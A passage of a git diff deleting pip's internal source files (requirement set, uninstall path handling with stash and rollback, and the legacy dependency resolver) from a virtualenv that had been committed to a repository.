-                "permitted as an accident of the implementation, but were "
-                "undocumented. The new implementation of the resolver no "
-                "longer supports these forms."
-            ),
-            replacement="replacing the constraint with a requirement",
-            # No plan yet for when the new resolver becomes default
-            gone_in=None,
-            issue=8210,
-        )
-
-    return problem
-
-
-def _has_option(options: Values, reqs: list[InstallRequirement], option: str) -> bool:
-    if getattr(options, option, None):
-        return True
-    for req in reqs:
-        if getattr(req, option, None):
-            return True
-    return False
diff --git a/venv/Lib/site-packages/pip/_internal/req/req_set.py b/venv/Lib/site-packages/pip/_internal/req/req_set.py
deleted file mode 100644
index 3451b24f27bb32da69c178dc8a36723d7de0fa93..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/req/req_set.py
+++ /dev/null
@@ -1,81 +0,0 @@
-import logging
-from collections import OrderedDict
-
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.req.req_install import InstallRequirement
-
-logger = logging.getLogger(__name__)
-
-
-class RequirementSet:
-    def __init__(self, check_supported_wheels: bool = True) -> None:
-        """Create a RequirementSet."""
-
-        self.requirements: dict[str, InstallRequirement] = OrderedDict()
-        self.check_supported_wheels = check_supported_wheels
-
-        self.unnamed_requirements: list[InstallRequirement] = []
-
-    def __str__(self) -> str:
-        requirements = sorted(
-            (req for req in self.requirements.values() if not req.comes_from),
-            key=lambda req: canonicalize_name(req.name or ""),
-        )
-        return " ".join(str(req.req) for req in requirements)
-
-    def __repr__(self) -> str:
-        requirements = sorted(
-            self.requirements.values(),
-            key=lambda req: canonicalize_name(req.name or ""),
-        )
-
-        format_string = "<{classname} object; {count} requirement(s): {reqs}>"
-        return format_string.format(
-            classname=self.__class__.__name__,
-            count=len(requirements),
-            reqs=", ".join(str(req.req) for req in requirements),
-        )
-
-    def add_unnamed_requirement(self, install_req: InstallRequirement) -> None:
-        assert not install_req.name
-        self.unnamed_requirements.append(install_req)
-
-    def add_named_requirement(self, install_req: InstallRequirement) -> None:
-        assert install_req.name
-
-        project_name = canonicalize_name(install_req.name)
-        self.requirements[project_name] = install_req
-
-    def has_requirement(self, name: str) -> bool:
-        project_name = canonicalize_name(name)
-
-        return (
-            project_name in self.requirements
-            and not self.requirements[project_name].constraint
-        )
-
-    def get_requirement(self, name: str) -> InstallRequirement:
-        project_name = canonicalize_name(name)
-
-        if project_name in self.requirements:
-            return self.requirements[project_name]
-
-        raise KeyError(f"No project with the name {name!r}")
-
-    @property
-    def all_requirements(self) -> list[InstallRequirement]:
-        return self.unnamed_requirements + list(self.requirements.values())
-
-    @property
-    def requirements_to_install(self) -> list[InstallRequirement]:
-        """Return the list of requirements that need to be installed.
-
-        TODO remove this property together with the legacy resolver, since the new
-             resolver only returns requirements that need to be installed.
-        """
-        return [
-            install_req
-            for install_req in self.all_requirements
-            if not install_req.constraint and not install_req.satisfied_by
-        ]
diff --git a/venv/Lib/site-packages/pip/_internal/req/req_uninstall.py b/venv/Lib/site-packages/pip/_internal/req/req_uninstall.py
deleted file mode 100644
index 0459c7bbb5cd226b959d45a15c3c47ac21e51f8e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/req/req_uninstall.py
+++ /dev/null
@@ -1,644 +0,0 @@
-from __future__ import annotations
-
-import functools
-import os
-import sys
-import sysconfig
-from collections.abc import Callable, Generator, Iterable
-from importlib.util import cache_from_source
-from typing import Any
-
-from pip._internal.exceptions import LegacyDistutilsInstall, UninstallMissingRecord
-from pip._internal.locations import get_bin_prefix, get_bin_user
-from pip._internal.metadata import BaseDistribution
-from pip._internal.utils.compat import WINDOWS
-from pip._internal.utils.egg_link import egg_link_path_from_location
-from pip._internal.utils.logging import getLogger, indent_log
-from pip._internal.utils.misc import ask, normalize_path, renames, rmtree
-from pip._internal.utils.temp_dir import AdjacentTempDirectory, TempDirectory
-from pip._internal.utils.virtualenv import running_under_virtualenv
-
-logger = getLogger(__name__)
-
-
-def _script_names(
-    bin_dir: str, script_name: str, is_gui: bool
-) -> Generator[str, None, None]:
-    """Create the fully qualified name of the files created by
-    {console,gui}_scripts for the given ``dist``.
-    Returns the list of file names
-    """
-    exe_name = os.path.join(bin_dir, script_name)
-    yield exe_name
-    if not WINDOWS:
-        return
-    yield f"{exe_name}.exe"
-    yield f"{exe_name}.exe.manifest"
-    if is_gui:
-        yield f"{exe_name}-script.pyw"
-    else:
-        yield f"{exe_name}-script.py"
-
-
-def _unique(
-    fn: Callable[..., Generator[Any, None, None]],
-) -> Callable[..., Generator[Any, None, None]]:
-    @functools.wraps(fn)
-    def unique(*args: Any, **kw: Any) -> Generator[Any, None, None]:
-        seen: set[Any] = set()
-        for item in fn(*args, **kw):
-            if item not in seen:
-                seen.add(item)
-                yield item
-
-    return unique
-
-
-@_unique
-def uninstallation_paths(dist: BaseDistribution) -> Generator[str, None, None]:
-    """
-    Yield all the uninstallation paths for dist based on RECORD-without-.py[co]
-
-    Yield paths to all the files in RECORD. For each .py file in RECORD, add
-    the .pyc and .pyo in the same directory.
-
-    UninstallPathSet.add() takes care of the __pycache__ .py[co].
-
-    If RECORD is not found, raises an error,
-    with possible information from the INSTALLER file.
-
-    https://packaging.python.org/specifications/recording-installed-packages/
-    """
-    location = dist.location
-    assert location is not None, "not installed"
-
-    entries = dist.iter_declared_entries()
-    if entries is None:
-        raise UninstallMissingRecord(distribution=dist)
-
-    for entry in entries:
-        path = os.path.join(location, entry)
-        yield path
-        if path.endswith(".py"):
-            dn, fn = os.path.split(path)
-            base = fn[:-3]
-            path = os.path.join(dn, base + ".pyc")
-            yield path
-            path = os.path.join(dn, base + ".pyo")
-            yield path
-
-
-def compact(paths: Iterable[str]) -> set[str]:
-    """Compact a path set to contain the minimal number of paths
-    necessary to contain all paths in the set. If /a/path/ and
-    /a/path/to/a/file.txt are both in the set, leave only the
-    shorter path."""
-
-    sep = os.path.sep
-    short_paths: set[str] = set()
-    prefixes: set[str] = set()
-
-    for path in sorted(paths, key=len):
-        current = path[:-1] if path.endswith(sep + "*") else path
-        parent = current.rstrip(sep)
-        while parent:
-            if parent in prefixes:
-                break
-            next_parent = os.path.dirname(parent).rstrip(sep)
-            parent = "" if next_parent == parent else next_parent
-        else:
-            short_paths.add(path)
-            prefixes.add(current.rstrip(sep))
-    return short_paths
-
-
-def compress_for_rename(paths: Iterable[str]) -> set[str]:
-    """Returns a set containing the paths that need to be renamed.
-
-    This set may include directories when the original sequence of paths
-    included every file on disk.
-    """
-    case_map = {os.path.normcase(p): p for p in paths}
-    remaining = set(case_map)
-    unchecked = sorted({os.path.split(p)[0] for p in case_map.values()}, key=len)
-    wildcards: set[str] = set()
-
-    def norm_join(*a: str) -> str:
-        return os.path.normcase(os.path.join(*a))
-
-    for root in unchecked:
-        if any(os.path.normcase(root).startswith(w) for w in wildcards):
-            # This directory has already been handled.
-            continue
-
-        all_files: set[str] = set()
-        all_subdirs: set[str] = set()
-        for dirname, subdirs, files in os.walk(root):
-            all_subdirs.update(norm_join(root, dirname, d) for d in subdirs)
-            all_files.update(norm_join(root, dirname, f) for f in files)
-        # If all the files we found are in our remaining set of files to
-        # remove, then remove them from the latter set and add a wildcard
-        # for the directory.
-        if not (all_files - remaining):
-            remaining.difference_update(all_files)
-            wildcards.add(root + os.sep)
-
-    return set(map(case_map.__getitem__, remaining)) | wildcards
-
-
-def compress_for_output_listing(paths: Iterable[str]) -> tuple[set[str], set[str]]:
-    """Returns a tuple of 2 sets of which paths to display to user
-
-    The first set contains paths that would be deleted. Files of a package
-    are not added and the top-level directory of the package has a '*' added
-    at the end - to signify that all it's contents are removed.
-
-    The second set contains files that would have been skipped in the above
-    folders.
-    """
-
-    will_remove = set(paths)
-    will_skip = set()
-
-    # Determine folders and files
-    folders = set()
-    files = set()
-    for path in will_remove:
-        if path.endswith(".pyc"):
-            continue
-        if path.endswith("__init__.py") or ".dist-info" in path:
-            folders.add(os.path.dirname(path))
-        files.add(path)
-
-    _normcased_files = set(map(os.path.normcase, files))
-
-    folders = compact(folders)
-
-    # This walks the tree using os.walk to not miss extra folders
-    # that might get added.
-    for folder in folders:
-        for dirpath, _, dirfiles in os.walk(folder):
-            for fname in dirfiles:
-                if fname.endswith(".pyc"):
-                    continue
-
-                file_ = os.path.join(dirpath, fname)
-                if (
-                    os.path.isfile(file_)
-                    and os.path.normcase(file_) not in _normcased_files
-                ):
-                    # We are skipping this file. Add it to the set.
-                    will_skip.add(file_)
-
-    will_remove = files | {os.path.join(folder, "*") for folder in folders}
-
-    return will_remove, will_skip
-
-
-class StashedUninstallPathSet:
-    """A set of file rename operations to stash files while
-    tentatively uninstalling them."""
-
-    def __init__(self) -> None:
-        # Mapping from source file root to [Adjacent]TempDirectory
-        # for files under that directory.
-        self._save_dirs: dict[str, TempDirectory] = {}
-        # (old path, new path) tuples for each move that may need
-        # to be undone.
-        self._moves: list[tuple[str, str]] = []
-
-    def _get_directory_stash(self, path: str) -> str:
-        """Stashes a directory.
-
-        Directories are stashed adjacent to their original location if
-        possible, or else moved/copied into the user's temp dir."""
-
-        try:
-            save_dir: TempDirectory = AdjacentTempDirectory(path)
-        except OSError:
-            save_dir = TempDirectory(kind="uninstall")
-        self._save_dirs[os.path.normcase(path)] = save_dir
-
-        return save_dir.path
-
-    def _get_file_stash(self, path: str) -> str:
-        """Stashes a file.
-
-        If no root has been provided, one will be created for the directory
-        in the user's temp directory."""
-        path = os.path.normcase(path)
-        head, old_head = os.path.dirname(path), None
-        save_dir = None
-
-        while head != old_head:
-            try:
-                save_dir = self._save_dirs[head]
-                break
-            except KeyError:
-                pass
-            head, old_head = os.path.dirname(head), head
-        else:
-            # Did not find any suitable root
-            head = os.path.dirname(path)
-            save_dir = TempDirectory(kind="uninstall")
-            self._save_dirs[head] = save_dir
-
-        relpath = os.path.relpath(path, head)
-        if relpath and relpath != os.path.curdir:
-            return os.path.join(save_dir.path, relpath)
-        return save_dir.path
-
-    def stash(self, path: str) -> str:
-        """Stashes the directory or file and returns its new location.
-        Handle symlinks as files to avoid modifying the symlink targets.
-        """
-        path_is_dir = os.path.isdir(path) and not os.path.islink(path)
-        if path_is_dir:
-            new_path = self._get_directory_stash(path)
-        else:
-            new_path = self._get_file_stash(path)
-
-        self._moves.append((path, new_path))
-        if path_is_dir and os.path.isdir(new_path):
-            # If we're moving a directory, we need to
-            # remove the destination first or else it will be
-            # moved to inside the existing directory.
-            # We just created new_path ourselves, so it will
-            # be removable.
-            os.rmdir(new_path)
-        renames(path, new_path)
-        return new_path
-
-    def commit(self) -> None:
-        """Commits the uninstall by removing stashed files."""
-        for save_dir in self._save_dirs.values():
-            save_dir.cleanup()
-        self._moves = []
-        self._save_dirs = {}
-
-    def rollback(self) -> None:
-        """Undoes the uninstall by moving stashed files back."""
-        for p in self._moves:
-            logger.info("Moving to %s\n from %s", *p)
-
-        for new_path, path in self._moves:
-            try:
-                logger.debug("Replacing %s from %s", new_path, path)
-                if os.path.isfile(new_path) or os.path.islink(new_path):
-                    os.unlink(new_path)
-                elif os.path.isdir(new_path):
-                    rmtree(new_path)
-                renames(path, new_path)
-            except OSError as ex:
-                logger.error("Failed to restore %s", new_path)
-                logger.debug("Exception: %s", ex)
-
-        self.commit()
-
-    @property
-    def can_rollback(self) -> bool:
-        return bool(self._moves)
-
-
-class UninstallPathSet:
-    """A set of file paths to be removed in the uninstallation of a
-    requirement."""
-
-    def __init__(self, dist: BaseDistribution) -> None:
-        self._paths: set[str] = set()
-        self._refuse: set[str] = set()
-        self._pth: dict[str, UninstallPthEntries] = {}
-        self._dist = dist
-        self._moved_paths = StashedUninstallPathSet()
-        # Create local cache of normalize_path results. Creating an UninstallPathSet
-        # can result in hundreds/thousands of redundant calls to normalize_path with
-        # the same args, which hurts performance.
-        self._normalize_path_cached = functools.lru_cache(normalize_path)
-
-    def _permitted(self, path: str) -> bool:
-        """
-        Return True if the given path is one we are permitted to
-        remove/modify, False otherwise.
-
-        """
-        # aka is_local, but caching normalized sys.prefix
-        if not running_under_virtualenv():
-            return True
-        return path.startswith(self._normalize_path_cached(sys.prefix))
-
-    def add(self, path: str) -> None:
-        head, tail = os.path.split(path)
-
-        # we normalize the head to resolve parent directory symlinks, but not
-        # the tail, since we only want to uninstall symlinks, not their targets
-        path = os.path.join(self._normalize_path_cached(head), os.path.normcase(tail))
-
-        if not os.path.exists(path):
-            return
-        if self._permitted(path):
-            self._paths.add(path)
-        else:
-            self._refuse.add(path)
-
-        # __pycache__ files can show up after 'installed-files.txt' is created,
-        # due to imports
-        if os.path.splitext(path)[1] == ".py":
-            self.add(cache_from_source(path))
-
-    def add_pth(self, pth_file: str, entry: str) -> None:
-        pth_file = self._normalize_path_cached(pth_file)
-        if self._permitted(pth_file):
-            if pth_file not in self._pth:
-                self._pth[pth_file] = UninstallPthEntries(pth_file)
-            self._pth[pth_file].add(entry)
-        else:
-            self._refuse.add(pth_file)
-
-    def remove(self, auto_confirm: bool = False, verbose: bool = False) -> None:
-        """Remove paths in ``self._paths`` with confirmation (unless
-        ``auto_confirm`` is True)."""
-
-        if not self._paths:
-            logger.info(
-                "Can't uninstall '%s'. No files were found to uninstall.",
-                self._dist.raw_name,
-            )
-            return
-
-        dist_name_version = f"{self._dist.raw_name}-{self._dist.raw_version}"
-        logger.info("Uninstalling %s:", dist_name_version)
-
-        with indent_log():
-            if auto_confirm or self._allowed_to_proceed(verbose):
-                moved = self._moved_paths
-
-                for_rename = compress_for_rename(self._paths)
-
-                for path in sorted(compact(for_rename)):
-                    moved.stash(path)
-                    logger.verbose("Removing file or directory %s", path)
-
-                for pth in self._pth.values():
-                    pth.remove()
-
-                logger.info("Successfully uninstalled %s", dist_name_version)
-
-    def _allowed_to_proceed(self, verbose: bool) -> bool:
-        """Display which files would be deleted and prompt for confirmation"""
-
-        def _display(msg: str, paths: Iterable[str]) -> None:
-            if not paths:
-                return
-
-            logger.info(msg)
-            with indent_log():
-                for path in sorted(compact(paths)):
-                    logger.info(path)
-
-        if not verbose:
-            will_remove, will_skip = compress_for_output_listing(self._paths)
-        else:
-            # In verbose mode, display all the files that are going to be
-            # deleted.
-            will_remove = set(self._paths)
-            will_skip = set()
-
-        _display("Would remove:", will_remove)
-        _display("Would not remove (might be manually added):", will_skip)
-        _display("Would not remove (outside of prefix):", self._refuse)
-        if verbose:
-            _display("Will actually move:", compress_for_rename(self._paths))
-
-        return ask("Proceed (Y/n)? ", ("y", "n", "")) != "n"
-
-    def rollback(self) -> None:
-        """Rollback the changes previously made by remove()."""
-        if not self._moved_paths.can_rollback:
-            logger.error(
-                "Can't roll back %s; was not uninstalled",
-                self._dist.raw_name,
-            )
-            return
-        logger.info("Rolling back uninstall of %s", self._dist.raw_name)
-        self._moved_paths.rollback()
-        for pth in self._pth.values():
-            pth.rollback()
-
-    def commit(self) -> None:
-        """Remove temporary save dir: rollback will no longer be possible."""
-        self._moved_paths.commit()
-
-    @classmethod
-    def from_dist(cls, dist: BaseDistribution) -> UninstallPathSet:
-        dist_location = dist.location
-        info_location = dist.info_location
-        if dist_location is None:
-            logger.info(
-                "Not uninstalling %s since it is not installed",
-                dist.canonical_name,
-            )
-            return cls(dist)
-
-        normalized_dist_location = normalize_path(dist_location)
-        if not dist.local:
-            logger.info(
-                "Not uninstalling %s at %s, outside environment %s",
-                dist.canonical_name,
-                normalized_dist_location,
-                sys.prefix,
-            )
-            return cls(dist)
-
-        if normalized_dist_location in {
-            p
-            for p in {sysconfig.get_path("stdlib"), sysconfig.get_path("platstdlib")}
-            if p
-        }:
-            logger.info(
-                "Not uninstalling %s at %s, as it is in the standard library.",
-                dist.canonical_name,
-                normalized_dist_location,
-            )
-            return cls(dist)
-
-        paths_to_remove = cls(dist)
-        develop_egg_link = egg_link_path_from_location(dist.raw_name)
-
-        # Distribution is installed with metadata in a "flat" .egg-info
-        # directory. This means it is not a modern .dist-info installation, an
-        # egg, or legacy editable.
-        setuptools_flat_installation = (
-            dist.installed_with_setuptools_egg_info
-            and info_location is not None
-            and os.path.exists(info_location)
-            # If dist is editable and the location points to a ``.egg-info``,
-            # we are in fact in the legacy editable case.
-            and not info_location.endswith(f"{dist.setuptools_filename}.egg-info")
-        )
-
-        # Uninstall cases order do matter as in the case of 2 installs of the
-        # same package, pip needs to uninstall the currently detected version
-        if setuptools_flat_installation:
-            if info_location is not None:
-                paths_to_remove.add(info_location)
-            installed_files = dist.iter_declared_entries()
-            if installed_files is not None:
-                for installed_file in installed_files:
-                    paths_to_remove.add(os.path.join(dist_location, installed_file))
-            # FIXME: need a test for this elif block
-            # occurs with --single-version-externally-managed/--record outside
-            # of pip
-            elif dist.is_file("top_level.txt"):
-                try:
-                    namespace_packages = dist.read_text("namespace_packages.txt")
-                except FileNotFoundError:
-                    namespaces = []
-                else:
-                    namespaces = namespace_packages.splitlines(keepends=False)
-                for top_level_pkg in [
-                    p
-                    for p in dist.read_text("top_level.txt").splitlines()
-                    if p and p not in namespaces
-                ]:
-                    path = os.path.join(dist_location, top_level_pkg)
-                    paths_to_remove.add(path)
-                    paths_to_remove.add(f"{path}.py")
-                    paths_to_remove.add(f"{path}.pyc")
-                    paths_to_remove.add(f"{path}.pyo")
-
-        elif dist.installed_by_distutils:
-            raise LegacyDistutilsInstall(distribution=dist)
-
-        elif dist.installed_as_egg:
-            # package installed by easy_install
-            # We cannot match on dist.egg_name because it can slightly vary
-            # i.e. setuptools-0.6c11-py2.6.egg vs setuptools-0.6rc11-py2.6.egg
-            # XXX We use normalized_dist_location because dist_location my contain
-            # a trailing / if the distribution is a zipped egg
-            # (which is not a directory).
-            paths_to_remove.add(normalized_dist_location)
-            easy_install_egg = os.path.split(normalized_dist_location)[1]
-            easy_install_pth = os.path.join(
-                os.path.dirname(normalized_dist_location),
-                "easy-install.pth",
-            )
-            paths_to_remove.add_pth(easy_install_pth, "./" + easy_install_egg)
-
-        elif dist.installed_with_dist_info:
-            for path in uninstallation_paths(dist):
-                paths_to_remove.add(path)
-
-        elif develop_egg_link:
-            # PEP 660 modern editable is handled in the ``.dist-info`` case
-            # above, so this only covers the setuptools-style editable.
-            with open(develop_egg_link) as fh:
-                link_pointer = os.path.normcase(fh.readline().strip())
-                normalized_link_pointer = paths_to_remove._normalize_path_cached(
-                    link_pointer
-                )
-            assert os.path.samefile(
-                normalized_link_pointer, normalized_dist_location
-            ), (
-                f"Egg-link {develop_egg_link} (to {link_pointer}) does not match "
-                f"installed location of {dist.raw_name} (at {dist_location})"
-            )
-            paths_to_remove.add(develop_egg_link)
-            easy_install_pth = os.path.join(
-                os.path.dirname(develop_egg_link), "easy-install.pth"
-            )
-            paths_to_remove.add_pth(easy_install_pth, dist_location)
-
-        else:
-            logger.debug(
-                "Not sure how to uninstall: %s - Check: %s",
-                dist,
-                dist_location,
-            )
-
-        if dist.in_usersite:
-            bin_dir = get_bin_user()
-        else:
-            bin_dir = get_bin_prefix()
-
-        # find distutils scripts= scripts
-        try:
-            for script in dist.iter_distutils_script_names():
-                paths_to_remove.add(os.path.join(bin_dir, script))
-                if WINDOWS:
-                    paths_to_remove.add(os.path.join(bin_dir, f"{script}.bat"))
-        except (FileNotFoundError, NotADirectoryError):
-            pass
-
-        # find console_scripts and gui_scripts
-        def iter_scripts_to_remove(
-            dist: BaseDistribution,
-            bin_dir: str,
-        ) -> Generator[str, None, None]:
-            for entry_point in dist.iter_entry_points():
-                if entry_point.group == "console_scripts":
-                    yield from _script_names(bin_dir, entry_point.name, False)
-                elif entry_point.group == "gui_scripts":
-                    yield from _script_names(bin_dir, entry_point.name, True)
-
-        for s in iter_scripts_to_remove(dist, bin_dir):
-            paths_to_remove.add(s)
-
-        return paths_to_remove
-
-
-class UninstallPthEntries:
-    def __init__(self, pth_file: str) -> None:
-        self.file = pth_file
-        self.entries: set[str] = set()
-        self._saved_lines: list[bytes] | None = None
-
-    def add(self, entry: str) -> None:
-        entry = os.path.normcase(entry)
-        # On Windows, os.path.normcase converts the entry to use
-        # backslashes.  This is correct for entries that describe absolute
-        # paths outside of site-packages, but all the others use forward
-        # slashes.
-        # os.path.splitdrive is used instead of os.path.isabs because isabs
-        # treats non-absolute paths with drive letter markings like c:foo\bar
-        # as absolute paths. It also does not recognize UNC paths if they don't
-        # have more than "\\sever\share". Valid examples: "\\server\share\" or
-        # "\\server\share\folder".
-        if WINDOWS and not os.path.splitdrive(entry)[0]:
-            entry = entry.replace("\\", "/")
-        self.entries.add(entry)
-
-    def remove(self) -> None:
-        logger.verbose("Removing pth entries from %s:", self.file)
-
-        # If the file doesn't exist, log a warning and return
-        if not os.path.isfile(self.file):
-            logger.warning("Cannot remove entries from nonexistent file %s", self.file)
-            return
-        with open(self.file, "rb") as fh:
-            # windows uses '\r\n' with py3k, but uses '\n' with py2.x
-            lines = fh.readlines()
-            self._saved_lines = lines
-        if any(b"\r\n" in line for line in lines):
-            endline = "\r\n"
-        else:
-            endline = "\n"
-        # handle missing trailing newline
-        if lines and not lines[-1].endswith(endline.encode("utf-8")):
-            lines[-1] = lines[-1] + endline.encode("utf-8")
-        for entry in self.entries:
-            try:
-                logger.verbose("Removing entry: %s", entry)
-                lines.remove((entry + endline).encode("utf-8"))
-            except ValueError:
-                pass
-        with open(self.file, "wb") as fh:
-            fh.writelines(lines)
-
-    def rollback(self) -> bool:
-        if self._saved_lines is None:
-            logger.error("Cannot roll back changes to %s, none were made", self.file)
-            return False
-        logger.debug("Rolling %s back to previous state", self.file)
-        with open(self.file, "wb") as fh:
-            fh.writelines(self._saved_lines)
-        return True
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/__init__.py b/venv/Lib/site-packages/pip/_internal/resolution/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/base.py b/venv/Lib/site-packages/pip/_internal/resolution/base.py
deleted file mode 100644
index 3e35de77b8cdadd89eca78417c4bb999bda589f0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/base.py
+++ /dev/null
@@ -1,20 +0,0 @@
-from collections.abc import Callable
-
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.req.req_set import RequirementSet
-
-InstallRequirementProvider = Callable[
-    [str, InstallRequirement | None], InstallRequirement
-]
-
-
-class BaseResolver:
-    def resolve(
-        self, root_reqs: list[InstallRequirement], check_supported_wheels: bool
-    ) -> RequirementSet:
-        raise NotImplementedError()
-
-    def get_installation_order(
-        self, req_set: RequirementSet
-    ) -> list[InstallRequirement]:
-        raise NotImplementedError()
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/legacy/__init__.py b/venv/Lib/site-packages/pip/_internal/resolution/legacy/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/legacy/resolver.py b/venv/Lib/site-packages/pip/_internal/resolution/legacy/resolver.py
deleted file mode 100644
index f2b0379096e627981c3ae77a0474e2b43e4d5204..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/legacy/resolver.py
+++ /dev/null
@@ -1,598 +0,0 @@
-"""Dependency Resolution
-
-The dependency resolution in pip is performed as follows:
-
-for top-level requirements:
-    a. only one spec allowed per project, regardless of conflicts or not.
-       otherwise a "double requirement" exception is raised
-    b. they override sub-dependency requirements.
-for sub-dependencies
-    a. "first found, wins" (where the order is breadth first)
-"""
-
-from __future__ import annotations
-
-import logging
-import sys
-from collections import defaultdict
-from collections.abc import Iterable
-from itertools import chain
-
-from pip._vendor.packaging import specifiers
-from pip._vendor.packaging.requirements import Requirement
-
-from pip._internal.cache import WheelCache
-from pip._internal.exceptions import (
-    BestVersionAlreadyInstalled,
-    DistributionNotFound,
-    HashError,
-    HashErrors,
-    InstallationError,
-    NoneMetadataError,
-    UnsupportedPythonVersion,
-)
-from pip._internal.index.package_finder import PackageFinder
-from pip._internal.metadata import BaseDistribution
-from pip._internal.models.link import Link
-from pip._internal.models.wheel import Wheel
-from pip._internal.operations.prepare import RequirementPreparer
-from pip._internal.req.req_install import (
-    InstallRequirement,
-    check_invalid_constraint_type,
-)
-from pip._internal.req.req_set import RequirementSet
-from pip._internal.resolution.base import BaseResolver, InstallRequirementProvider
-from pip._internal.utils import compatibility_tags
-from pip._internal.utils.compatibility_tags import get_supported
-from pip._internal.utils.direct_url_helpers import direct_url_from_link
-from pip._internal.utils.logging import indent_log
-from pip._internal.utils.misc import normalize_version_info
-from pip._internal.utils.packaging import check_requires_python
-
-logger = logging.getLogger(__name__)
-
-DiscoveredDependencies = defaultdict[str | None, list[InstallRequirement]]
-
-
-def _check_dist_requires_python(
-    dist: BaseDistribution,
-    version_info: tuple[int, int, int],
-    ignore_requires_python: bool = False,
-) -> None:
-    """
-    Check whether the given Python version is compatible with a distribution's
-    "Requires-Python" value.
-
-    :param version_info: A 3-tuple of ints representing the Python
-        major-minor-micro version to check.
-    :param ignore_requires_python: Whether to ignore the "Requires-Python"
-        value if the given Python version isn't compatible.
-
-    :raises UnsupportedPythonVersion: When the given Python version isn't
-        compatible.
-    """
-    # This idiosyncratically converts the SpecifierSet to str and let
-    # check_requires_python then parse it again into SpecifierSet. But this
-    # is the legacy resolver so I'm just not going to bother refactoring.
-    try:
-        requires_python = str(dist.requires_python)
-    except FileNotFoundError as e:
-        raise NoneMetadataError(dist, str(e))
-    try:
-        is_compatible = check_requires_python(
-            requires_python,
-            version_info=version_info,
-        )
-    except specifiers.InvalidSpecifier as exc:
-        logger.warning(
-            "Package %r has an invalid Requires-Python: %s", dist.raw_name, exc
-        )
-        return
-
-    if is_compatible:
-        return
-
-    version = ".".join(map(str, version_info))
-    if ignore_requires_python:
-        logger.debug(
-            "Ignoring failed Requires-Python check for package %r: %s not in %r",
-            dist.raw_name,
-            version,
-            requires_python,
-        )
-        return
-
-    raise UnsupportedPythonVersion(
-        f"Package {dist.raw_name!r} requires a different Python: "
-        f"{version} not in {requires_python!r}"
-    )
-
-
-class Resolver(BaseResolver):
-    """Resolves which packages need to be installed/uninstalled to perform \
-    the requested operation without breaking the requirements of any package.
-    """
-
-    _allowed_strategies = {"eager", "only-if-needed", "to-satisfy-only"}
-
-    def __init__(
-        self,
-        preparer: RequirementPreparer,
-        finder: PackageFinder,
-        wheel_cache: WheelCache | None,
-        make_install_req: InstallRequirementProvider,
-        use_user_site: bool,
-        ignore_dependencies: bool,
-        only_dependencies: bool,  # unused, for compatibility with new resolver
-        ignore_installed: bool,
-        ignore_requires_python: bool,
-        force_reinstall: bool,
-        upgrade_strategy: str,
-        py_version_info: tuple[int, ...] | None = None,
-    ) -> None:
-        super().__init__()
-        assert upgrade_strategy in self._allowed_strategies
-
-        if py_version_info is None:
-            py_version_info = sys.version_info[:3]
-        else:
-            py_version_info = normalize_version_info(py_version_info)
-
-        self._py_version_info = py_version_info
-
-        self.preparer = preparer
-        self.finder = finder
-        self.wheel_cache = wheel_cache
-
-        self.upgrade_strategy = upgrade_strategy
-        self.force_reinstall = force_reinstall
-        self.ignore_dependencies = ignore_dependencies
-        self.ignore_installed = ignore_installed
-        self.ignore_requires_python = ignore_requires_python
-        self.use_user_site = use_user_site
-        self._make_install_req = make_install_req
-
-        self._discovered_dependencies: DiscoveredDependencies = defaultdict(list)
-
-    def resolve(
-        self, root_reqs: list[InstallRequirement], check_supported_wheels: bool
-    ) -> RequirementSet:
-        """Resolve what operations need to be done
-
-        As a side-effect of this method, the packages (and their dependencies)
-        are downloaded, unpacked and prepared for installation. This
-        preparation is done by ``pip.operations.prepare``.
-
-        Once PyPI has static dependency metadata available, it would be
-        possible to move the preparation to become a step separated from
-        dependency resolution.
-        """
-        requirement_set = RequirementSet(check_supported_wheels=check_supported_wheels)
-        for req in root_reqs:
-            if req.constraint:
-                check_invalid_constraint_type(req)
-            self._add_requirement_to_set(requirement_set, req)
-
-        # Actually prepare the files, and collect any exceptions. Most hash
-        # exceptions cannot be checked ahead of time, because
-        # _populate_link() needs to be called before we can make decisions
-        # based on link type.
-        discovered_reqs: list[InstallRequirement] = []
-        hash_errors = HashErrors()
-        for req in chain(requirement_set.all_requirements, discovered_reqs):
-            try:
-                discovered_reqs.extend(self._resolve_one(requirement_set, req))
-            except HashError as exc:
-                exc.req = req
-                hash_errors.append(exc)
-
-        if hash_errors:
-            raise hash_errors
-
-        return requirement_set
-
-    def _add_requirement_to_set(
-        self,
-        requirement_set: RequirementSet,
-        install_req: InstallRequirement,
-        parent_req_name: str | None = None,
-        extras_requested: Iterable[str] | None = None,
-    ) -> tuple[list[InstallRequirement], InstallRequirement | None]:
-        """Add install_req as a requirement to install.
-
-        :param parent_req_name: The name of the requirement that needed this
-            added. The name is used because when multiple unnamed requirements
-            resolve to the same name, we could otherwise end up with dependency
-            links that point outside the Requirements set. parent_req must
-            already be added. Note that None implies that this is a user
-            supplied requirement, vs an inferred one.
-        :param extras_requested: an iterable of extras used to evaluate the
-            environment markers.
-        :return: Additional requirements to scan. That is either [] if
-            the requirement is not applicable, or [install_req] if the
-            requirement is applicable and has just been added.
-        """
-        # If the markers do not match, ignore this requirement.
-        if not install_req.match_markers(extras_requested):
-            logger.info(
-                "Ignoring %s: markers '%s' don't match your environment",
-                install_req.name,
-                install_req.markers,
-            )
-            return [], None
-
-        # If the wheel is not supported, raise an error.
-        # Should check this after filtering out based on environment markers to
-        # allow specifying different wheels based on the environment/OS, in a
-        # single requirements file.
-        if install_req.link and install_req.link.is_wheel:
-            wheel = Wheel(install_req.link.filename)
-            tags = compatibility_tags.get_supported()
-            if requirement_set.check_supported_wheels and not wheel.supported(tags):
-                raise InstallationError(
-                    f"{wheel.filename} is not a supported wheel on this platform."
-                )
-
-        # This next bit is really a sanity check.
-        assert (
